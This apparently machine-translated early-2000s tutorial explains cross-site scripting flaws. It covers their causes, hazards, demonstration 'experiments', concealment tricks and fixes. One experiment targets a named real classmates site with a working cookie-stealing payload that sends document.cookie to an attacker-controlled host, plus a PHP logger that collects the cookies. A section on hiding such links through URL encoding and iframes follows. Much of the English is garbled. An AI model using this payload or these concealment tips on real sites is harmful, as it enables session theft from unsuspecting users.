Cross-site scripting vulnerability details-vulnerability warning-the black bar safety net

【Preface】

This paper mainly introduces cross-site scripting vulnerability in the Genesis, form, hazard, use patterns, hidden tips, solutions and frequently asked questions （FAQ）, due to the current introduction to cross-site scripting vulnerability information is not a lot, and also generally not very detailed, so I hope this article to be able to compare the detailed description of the vulnerability. Since the time is hasty, the level is limited, this article may have some errors, hope you don’t give to teach.

Statement, please do not use this article any content, code or method is destroyed, otherwise everything at your own risk!

【Vulnerability causes】
The simple reason is because the CGI program without the user submitted variables in the HTML code to be filtered or converted.

【Vulnerability】
Here, the form, in fact, refers to a CGI input form, mainly divided into two types:
1． Display the input
2． Implicit input
Wherein the display input explicitly requires the user to input data, and the implicit input is the original does not require the user to input data, but the user can through the input data to interfere.
The display input can be divided into two types:
1． The input is completed immediately output the results
2． Enter the complete first stored in a text file or database, then output the results
Note: the latter might get your site beyond recognition!: the （
And implicit input in addition to some of the normal situation, you can also use the server or the CGI program processing error message of the way to implement.

【Vulnerability hazards】
We are most concerned about is probably going to count this problem, listed below is probably not comprehensive, not the system, but I think it is more typical.
1． Get other users Cookies sensitive data in
2． The shield page specific information
3． Forgery information page
4． Denial of service attacks
5． Break outside the network within the network to different security settings
6． The other vulnerabilities combined, modify system settings, view system files, perform system commands, etc.
7． Other
In General, the above hazards are also often accompanied by a page modification. And the so-called cross-site scripting vulnerability, that is, through someone else’s website to achieve the effect of the attack, that is to say, such attacks can to some extent hide the identity.

【Use】
Below we will through specific examples to demonstrate the above various hazards, so that should be more illustrative and easier to understand. In order to strip processing clearer, we will address each of the hazards to do an experiment.
In order to do these experiments, we need a capture software, I’m using Iris, of course you can choose other software, such as NetXray or something. As for the specific method of use, please refer to the help or manual.
In addition, the need to understand the point is: as long as the server returns to user-submitted information, there may be a cross-site scripting vulnerability.
Okay, everything is ready, we start doing experiments!：）

Experiment one: get the other user in the Cookie for sensitive information
We to domestic well-known classmates site 5 4 6 0. net as an example to explain, please follow the below steps:
1． Go to home http://www. 5 4 6 0. net/
2． Enter the user name“<h1>”, the author, the discovery server returns the information contained in the user-submitted“<h1>”.
3． Analysis of the capture data, obtain the actual request:
http://www.5460.net/txl/login/login.pl?username=&lt;h1&gt;&amp;passwd=&amp;ok. x=2 8&ok. y=6
4． Construct a commit, the target is capable of displaying a user Cookie information:
http://www.5460.net/txl/login/login.pl?username=&lt;script&gt;alert(document. cookie)</ script>&passwd=&ok. x=2 8&ok. y=6
5． If the above request to get the desired effect, then we can try the following request:
http://www.5460.net/txl/login/login.pl?username=&lt;script&gt;window. open(“http://www.notfound.org/ info.php?”% 2Bdocument. cookie)</script>&passwd=&ok. x=2 8&ok. y=6
Wherein http://www. notfound. org/info. php is a you to control a host on a script, the function is to obtain query string information, the content is as follows:
<? php
$info = getenv(“QUERY_STRING”);
if ($info) {
$fp = fopen(“info.txt”,“a”);
fwrite($fp,$info.“/ n”);
fclose($fp);
}
header(“Location: http://www.5460.net”);
Note: the“%2B”as“+”the URL encoding, and here only with“%2B”since“+”will be used as a space treatment. The back of the header statement is purely in order to increase the concealment.
6． If the above URL to the correct running, the next step is convincing the landing 5 4 6 0. net user to access the URL, and we can get the user Cookie in the sensitive information.
7． Back what to do is decided by you!

Experiment II: masked page-specific information
We still to 5 4 6 0. net as an example, the following is a problem in the CGI program:
http://www.5460.net/txl/liuyan/liuyanSql.pl
The CGI program accepts a user-provided three variables, namely nId, csId and cName, but the user does not submit the cName variable for any inspection, and the CGI program put the cName value as the output part of the page, 5 4 6 0. net users should have a relatively clear message the bottom right corner there is your name, right?
Since with the above conditions, we may wish to make the following conclusions:
A user can“shield”which is twice the message among all the messages!
Of course, we say“shield”instead of“delete”, the user of the message is still there, but since HTML properties, we cannot from the page See, of course, if you like to view the source code, then it is not useful, but out of our these studies CGI security of the people, how many people something all right see the HTML source code?
Due to various reasons, here I will not publish the specific details, we know the principle.
Note: think carefully, we can not only shield comment, but also anonymous comment, Right it?

Experiment three: falsification of the page information
If you understand the above, that the experiment, in this experiment it is not necessary to do, the same basic principle, just implement a little trouble a little while already.

Experiment four: denial of service attack
You should now know that we to some extent can control the presence of cross-site scripting vulnerability in the server behavior, if so, we can control the server for some resource-consuming operation. For example, say you run a dead loop or open an infinite number of window JavaScript scripts, and so on. So to access the URL of the user and the system may thus slow down or even crash. Similarly, we may also in which is embedded some script, let the server request for other resources on the server, if access to resources is more resource-consuming, and access the number of more words, then the server to be accessed may also be denial of service, and it is considered a denial of service attack is by access it of the server-initiated, so you can order to hide the identity.

Experiment five: break through the external network within the network to different security settings
This should be well understood now, in General our browser to a different region set up different levels of security. For example, for the Internet zone, may you not allow JavaScript execution, and in the Intranet zone, you to allow JavaScript execution. In General, the former level of security to be higher than the latter. Thus, the General case of others not by executing malicious JavaScript to attack you, but if you are in the same network of the server the presence of cross-site scripting vulnerability, then the attacker can multiply, because the server is in the Intranet zone.

Experiment Six: the other vulnerabilities combined, modify system settings, view system files, perform system commands, etc.
Due to browser-related vulnerability too, and so can be used with cross-site scripting vulnerability in conjunction with the vulnerability is a lot. I think the question everyone should be very clear now, the previous time to modify the IE title of the vulnerability, the error MIME-type command execution vulnerability, there are a variety of worms, are all good examples.
For more examples please refer to the following link:
Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-0 5 5)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-0 5 5
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html

Cross-site scripting vulnerability role here is to hide the real attacker’s identity.

Experiment seven: other
In fact, such issues and cross-site scripting vulnerability is not much relationship, but here the way is still very necessary. The essence of the problem is the CGI program does not filter user-submitted data, and then performing the output processing. Take, for example, support for SSI on the server the CGI program output the user-submitted data, whether the data is ways input, may cause the SSI execution of the instruction. Of course, this is in the server rather than the client implementation. In fact, like ASP, PHP and Perl and other CGI languages are likely to cause this problem.

【Hidden tips】
For time consideration, here I will mainly talk about the theory, and believe not very difficult, if really have problem, then go find the book and see.
1． URL encoding
Comparison:
http://www.5460.net/txl/login/login.pl?username=&lt;h1&gt;&amp;passwd=&amp;ok. x=2 8&ok. y=6
http://www.5460.net/txl/login/login.pl?username=<h1>&amp;passwd=&amp;ok. x=2 8&ok. y = 6
You think which have hidden it?!

2． Hidden in other objects under the
With direct give someone a link compared to if you decided to put the link hidden in the button of the following is better?

3． Embedded in the page
Let someone else access one of the address note the address is different from the above mentioned URL, is not yet than let someone else press the A button a lot easier, by means of an Iframe, you can put this attack becomes more subtle.

4． Reasonable use of the event
The rational use of events, and in some circumstances can bypass the CGI program to the input of limit, say a few days ago the SecurityFocus cross-site scripting vulnerability.

[Note]
The General case directly similar to the<script>alert(document. cookie)</script>and the like attacks no problem, but sometimes the CGI program on the user’s input to some processing, such as that included in the’or””within, then we need to use some tricks to bypass these restrictions.
If you’re on the HTML language more familiar words, bypassing these limitations should not be a problem.

【Solution】
To avoid cross-site scripting vulnerability attacks, the need for the programmer and user both work together to:
Programmer:
1． Filter or convert the user-submitted data in the HTML code
2． Limitations of user-submitted data length

User:
1． Do not easily access someone to give you the link
2． To prohibit the browser to run JavaScript and ActiveX code

Reference: common browser modify settings of the position is:
Internet Explorer: The
Tools->Internet Options->security->Internet->Custom Level
Tools->Internet Options->security->Intranet->Custom Level
Opera:
File->quick preferences->allows the use of Java
File->quick preferences->allows the use of plug-ins
File->quick preferences->allows the use of JavaScript

【FAQ】
Q: cross-site scripting vulnerability in the WHERE exists?
A: as long as the CGI program, as long as the allows the user to input, there may be a cross-site scripting vulnerability.

Q: cross-site scripting vulnerability is not only stealing someone else’s Cookie?
A: Of course not! HTML code can do, cross-site scripting vulnerability basic can do.